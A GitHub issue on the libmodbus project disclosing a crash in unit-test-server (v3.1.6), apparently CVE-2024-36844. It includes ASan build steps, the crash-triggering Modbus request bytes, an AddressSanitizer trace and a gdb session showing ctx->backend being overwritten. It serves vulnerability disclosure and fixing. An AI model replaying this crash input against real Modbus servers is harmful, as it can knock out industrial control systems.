stephane / libmodbus

A Modbus library for Linux, Mac OS, FreeBSD and Windows
http://libmodbus.org
GNU Lesser General Public License v2.1
3.29k stars 1.71k forks source link

The value of the ctx->backend pointer has been accidentally modified, leading to a Use-After-Free (UAF) vulnerability #749

Open balckgu1 opened 1 month ago

balckgu1 commented 1 month ago

libmodbus version

libmodbus v3.1.6

OS and/or distribution

Ubuntu 18

Environment

...

Description

A UAF vulnerability exists in unit-test-server that is triggered when a specific message is sent to unit-test-server. The vulnerability appears to be caused by the ctx->backend pointer at line 171 in modbus.c being incorrectly modified after multiple calls or used after free.

Actual behavior if applicable

==7657==ERROR: AddressSanitizer: SEGV on unknown address 0x605ffffffe90 (pc 0x56a769c5088e bp 0x7ffdc458eb90 sp 0x7ffdc458e900 T0)

Expected behavior or suggestion

no crash

Steps to reproduce the behavior (commands or source code)

  1. Compile the program with the -g parameter
    ./autogen.sh
    ./configure --enable-static CC="clang -fsanitize=address  -O1 -g" CXX="clang -fsanitize=address  -O1 -g"
    make -j8
    clang -g -fsanitize=address -O1  unit-test-server.c -o unit-test-server -I ../src/ ../src/.libs/libmodbus.a
  2. send POC POC: poc.zip
  3. Then, you can see:
    
    ./unit-test-server 
    The client connection from 127.0.0.1 is accepted
    Waiting for an indication...
    <00><00><00><00><00><0D><FF><03><01><62><00><01>
    [00][00][00][00][00][05][FF][03][02][00][00]
    Waiting for an indication...
    <00><00><00><00><00><0D><FF><17><01><62><00><01><00><68><00><01><02><AA><BD>
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==17777==ERROR: AddressSanitizer: SEGV on unknown address 0x605ffffffe90 (pc 0x5cb30486d88e bp 0x7ffcb0ba2480 sp 0x7ffcb0ba21e0 T0)
    ==17777==The signal is caused by a WRITE memory access.
    #0 0x5cb30486d88e  (/home/XXX/libmodbuspoc/tests/unit-test-server+0xb88e)
    #1 0x5cb304869630  (/home/XXX/libmodbuspoc/tests/unit-test-server+0x7630)
    #2 0x7be8b1629d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
    #3 0x7be8b1629e3f  (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f)
    #4 0x5cb3048684c4  (/home/XXX/libmodbuspoc/tests/unit-test-server+0x64c4)

AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/home/XXX/libmodbuspoc/tests/unit-test-server+0xb88e) ==17777==ABORTING Aborted


## libmodbus output with debug mode enabled
The location of the vulnerability can be further determined through gdb debugging:
Breakpoint at line 171 of modbus.c and run:

(gdb) run < /POC Starting program: /unit-test-server < /POC [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [New Thread 0x7ffff7bff640 (LWP 17164)] [New Thread 0x7ffff73fe640 (LWP 17165)] [Thread 0x7ffff7bff640 (LWP 17164) exited] The client connection from 0.0.0.0 is accepted Waiting for an indication...

<00><00><00><00><00><0D><03><01><62><00><01> Thread 1 "unit-test-serve" hit Breakpoint 1, send_msg (ctx=ctx@entry=0x5555555612a0, msg=msg@entry=0x7fffffffd8c0 "", msg_length=msg_length@entry=11) at modbus.c:171 171 msg_length = ctx->backend->send_msg_pre(msg, msg_length); ``` The first time a breakpoint is hit, check the variable information: ``` (gdb) print ctx->backend $7 = (const modbus_backend_t *) 0x55555555fce0 <_modbus_tcp_backend> ``` next ``` (gdb) next 173 if (ctx->debug) { (gdb) next 174 for (i = 0; i < msg_length; i++) (gdb) next 175 printf("[%.2X]", msg[i]); (gdb) next 174 for (i = 0; i < msg_length; i++) (gdb) next 175 printf("[%.2X]", msg[i]); (gdb) next 174 for (i = 0; i < msg_length; i++) (gdb) next 175 printf("[%.2X]", msg[i]); (gdb) next 174 for (i = 0; i < msg_length; i++) (gdb) next 175 printf("[%.2X]", msg[i]); (gdb) next 174 for (i = 0; i < msg_length; i++) (gdb) next 175 printf("[%.2X]", msg[i]); (gdb) next 174 for (i = 0; i < msg_length; i++) (gdb) next 175 printf("[%.2X]", msg[i]); (gdb) next 174 for (i = 0; i < msg_length; i++) (gdb) next 175 printf("[%.2X]", msg[i]); (gdb) next 174 for (i = 0; i < msg_length; i++) (gdb) next 175 printf("[%.2X]", msg[i]); (gdb) next 174 for (i = 0; i < msg_length; i++) (gdb) next 175 printf("[%.2X]", msg[i]); (gdb) next 174 for (i = 0; i < msg_length; i++) (gdb) next 175 printf("[%.2X]", msg[i]); (gdb) next 174 for (i = 0; i < msg_length; i++) (gdb) next 175 printf("[%.2X]", msg[i]); (gdb) next 174 for (i = 0; i < msg_length; i++) (gdb) next 176 printf("\n"); (gdb) next [00][00][00][00][00][05][FF][03][02][00][00] 182 rc = ctx->backend->send(ctx, msg, msg_length); (gdb) next �183 if (rc == -1) { (gdb) next 202 if (rc > 0 && rc != msg_length) { (gdb) next 208 } (gdb) next modbus_reply (ctx=, req=, req_length=, mb_mapping=) at modbus.c:1003 1003 } (gdb) print ctx->backend value has been optimized out (gdb) info args ctx = req = req_length = mb_mapping = (gdb) next main (argc=1, argv=0x7fffffffdba8) at unit-test-server.c:184 184 if (rc == -1) { (gdb) next 113 for (;;) { (gdb) next 114 do { (gdb) next 115 rc = modbus_receive(ctx, query); (gdb) next Waiting for an indication... <00><00><00><00><00><0D><17><01><62><00><01><00><68><00><01><02> 117 } while (rc == 0); (gdb) print ctx $8 = (modbus_t *) 0x5555555612a0 (gdb) print ctx->backend $9 = (const modbus_backend_t *) 0x55555555fce0 <_modbus_tcp_backend> (gdb) next 121 if (rc == -1 && errno != EMBBADCRC) { (gdb) print ctx $10 = (modbus_t *) 0x5555555612a0 (gdb) print ctx->backend $11 = (const modbus_backend_t *) 0x55555555fce0 <_modbus_tcp_backend> (gdb) next 127 if (query[header_length] == 0x03) { (gdb) next 183 rc = modbus_reply(ctx, query, rc, mb_mapping); (gdb) print ctx $12 = (modbus_t *) 0x5555555612a0 (gdb) print ctx->backend $13 = (const modbus_backend_t *) 0x55555555fce0 <_modbus_tcp_backend> ``` On the second hit, the pointer is modified and the program crashes: ``` (gdb) next Thread 1 "unit-test-serve" hit Breakpoint 1, send_msg (ctx=ctx@entry=0x5555555612a0, msg=msg@entry=0x7fffffffd8c0 "", msg_length=msg_length@entry=11) at modbus.c:171 171 msg_length = ctx->backend->send_msg_pre(msg, msg_length); (gdb) print ctx $14 = (modbus_t *) 0x5555555612a0 (gdb) print ctx->backend $15 = (const modbus_backend_t *) 0x55555555aabd (gdb) next Thread 1 "unit-test-serve" received signal SIGSEGV, Segmentation fault. 0x0000555555556cfd in send_msg (ctx=ctx@entry=0x5555555612a0, msg=msg@entry=0x7fffffffd8c0 "", msg_length=msg_length@entry=11) at modbus.c:171 171 msg_length = ctx->backend->send_msg_pre(msg, msg_length); (gdb) next Couldn't get registers: No such process. ```
BrunoVernay commented 1 week ago

https://nvd.nist.gov/vuln/detail/CVE-2024-36844